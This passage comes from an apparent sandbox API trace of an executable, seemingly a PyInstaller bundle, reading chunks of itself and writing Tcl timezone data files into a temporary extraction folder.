lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.745] htonl (hostlong=0xb5210000) returned 0x21b5 [0038.745] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x21b5) returned 0x561090 [0038.745] htonl (hostlong=0x83060000) returned 0x683 [0038.745] htonl (hostlong=0xb5210000) returned 0x21b5 [0038.745] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563250 [0038.745] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563250 | out: hHeap=0x530000) returned 1 [0038.745] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0038.745] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.745] CloseHandle (hObject=0x10c) returned 1 [0038.746] GetLastError () returned 0x0 [0038.746] SetLastError (dwErrCode=0x0) [0038.746] GetLastError () returned 0x0 [0038.746] SetLastError (dwErrCode=0x0) [0038.746] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.746] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.746] GetFileType (hFile=0x10c) returned 0x1 [0038.746] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.746] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.746] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.746] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.746] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.746] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.746] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.746] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.746] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.746] CloseHandle (hObject=0x10c) returned 1 [0038.746] GetLastError () returned 0x0 [0038.746] SetLastError (dwErrCode=0x0) [0038.746] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.746] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.746] GetFileType (hFile=0x10c) returned 0x1 [0038.746] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.746] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.746] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.747] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.747] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.747] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.747] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.747] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.747] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.747] CloseHandle (hObject=0x10c) returned 1 [0038.747] GetLastError () returned 0x0 [0038.747] SetLastError (dwErrCode=0x0) [0038.747] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.747] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.747] GetFileType (hFile=0x10c) returned 0x1 [0038.747] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.747] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.747] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.747] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.747] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.747] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.747] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.747] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.747] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.747] CloseHandle (hObject=0x10c) returned 1 [0038.747] GetLastError () returned 0x0 [0038.748] SetLastError (dwErrCode=0x0) [0038.748] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Denver") returned 71 [0038.748] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Denver" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\denver"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.748] GetLastError () returned 0x2 [0038.748] SetLastError (dwErrCode=0x2) [0038.748] GetLastError () returned 0x2 [0038.748] SetLastError (dwErrCode=0x2) [0038.748] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Denver", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Denver", lpFilePart=0x0) returned 0x46 [0038.748] GetLastError () returned 0x2 [0038.748] SetLastError (dwErrCode=0x2) [0038.748] GetLastError () returned 0x2 [0038.748] SetLastError (dwErrCode=0x2) [0038.748] GetLastError () returned 0x2 [0038.748] SetLastError (dwErrCode=0x2) [0038.748] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Denver") returned 71 [0038.748] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.748] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Denver" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\denver"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.748] GetFileType (hFile=0x10c) returned 0x1 [0038.748] htonl (hostlong=0xb5210000) returned 0x21b5 [0038.748] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0038.749] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.749] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x1b5, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x1b5, lpOverlapped=0x0) returned 1 [0038.750] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.750] CloseHandle (hObject=0x10c) returned 1 [0038.750] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.750] htonl (hostlong=0x30000000) returned 0x30 [0038.750] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.750] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.750] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.751] GetFileType (hFile=0x10c) returned 0x1 [0038.751] htonl (hostlong=0x47ef5800) returned 0x58ef47 [0038.751] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d9f47, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.751] htonl (hostlong=0x45060000) returned 0x645 [0038.751] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x645) returned 0x550600 [0038.751] htonl (hostlong=0x45060000) returned 0x645 [0038.751] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.751] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.751] htonl (hostlong=0x841f0000) returned 0x1f84 [0038.751] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1f84) returned 0x561090 [0038.751] htonl (hostlong=0x45060000) returned 0x645 [0038.751] htonl (hostlong=0x841f0000) returned 0x1f84 [0038.751] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563020 [0038.751] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563020 | out: hHeap=0x530000) returned 1 [0038.751] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.751] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.751] CloseHandle (hObject=0x10c) returned 1 [0038.751] GetLastError () returned 0x0 [0038.751] SetLastError (dwErrCode=0x0) [0038.751] GetLastError () returned 0x0 [0038.751] SetLastError (dwErrCode=0x0) [0038.751] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.751] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.751] GetFileType (hFile=0x10c) returned 0x1 [0038.752] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.752] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.752] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.752] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.752] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.752] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.752] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.752] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.752] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.752] CloseHandle (hObject=0x10c) returned 1 [0038.752] GetLastError () returned 0x0 [0038.752] SetLastError (dwErrCode=0x0) [0038.752] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.752] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.752] GetFileType (hFile=0x10c) returned 0x1 [0038.752] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.752] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.752] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.752] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.752] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.752] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.752] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.752] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.752] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.753] CloseHandle (hObject=0x10c) returned 1 [0038.753] GetLastError () returned 0x0 [0038.753] SetLastError (dwErrCode=0x0) [0038.753] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.753] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.753] GetFileType (hFile=0x10c) returned 0x1 [0038.753] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.753] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.753] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.753] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.753] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.753] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.753] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.753] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.753] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.753] CloseHandle (hObject=0x10c) returned 1 [0038.753] GetLastError () returned 0x0 [0038.753] SetLastError (dwErrCode=0x0) [0038.753] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Detroit") returned 72 [0038.753] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Detroit" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\detroit"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.753] GetLastError () returned 0x2 [0038.753] SetLastError (dwErrCode=0x2) [0038.753] GetLastError () returned 0x2 [0038.754] SetLastError (dwErrCode=0x2) [0038.754] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Detroit", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Detroit", lpFilePart=0x0) returned 0x47 [0038.754] GetLastError () returned 0x2 [0038.754] SetLastError (dwErrCode=0x2) [0038.754] GetLastError () returned 0x2 [0038.754] SetLastError (dwErrCode=0x2) [0038.754] GetLastError () returned 0x2 [0038.754] SetLastError (dwErrCode=0x2) [0038.754] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Detroit") returned 72 [0038.754] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.754] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Detroit" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\detroit"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.755] GetFileType (hFile=0x10c) returned 0x1 [0038.755] htonl (hostlong=0x841f0000) returned 0x1f84 [0038.755] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0038.756] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.756] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xf84, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xf84, lpOverlapped=0x0) returned 1 [0038.756] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.756] CloseHandle (hObject=0x10c) returned 1 [0038.757] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.757] htonl (hostlong=0x30000000) returned 0x30 [0038.757] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.757] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.758] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.758] GetFileType (hFile=0x10c) returned 0x1 [0038.758] htonl (hostlong=0x8cf55800) returned 0x58f58c [0038.758] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5da58c, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.758] htonl (hostlong=0x8c000000) returned 0x8c [0038.758] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8c) returned 0x55cfe0 [0038.758] htonl (hostlong=0x8c000000) returned 0x8c [0038.758] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.759] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.759] htonl (hostlong=0x96000000) returned 0x96 [0038.759] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x96) returned 0x550600 [0038.759] htonl (hostlong=0x8c000000) returned 0x8c [0038.759] htonl (hostlong=0x96000000) returned 0x96 [0038.759] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.759] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.759] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.759] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.759] CloseHandle (hObject=0x10c) returned 1 [0038.759] GetLastError () returned 0x0 [0038.759] SetLastError (dwErrCode=0x0) [0038.759] GetLastError () returned 0x0 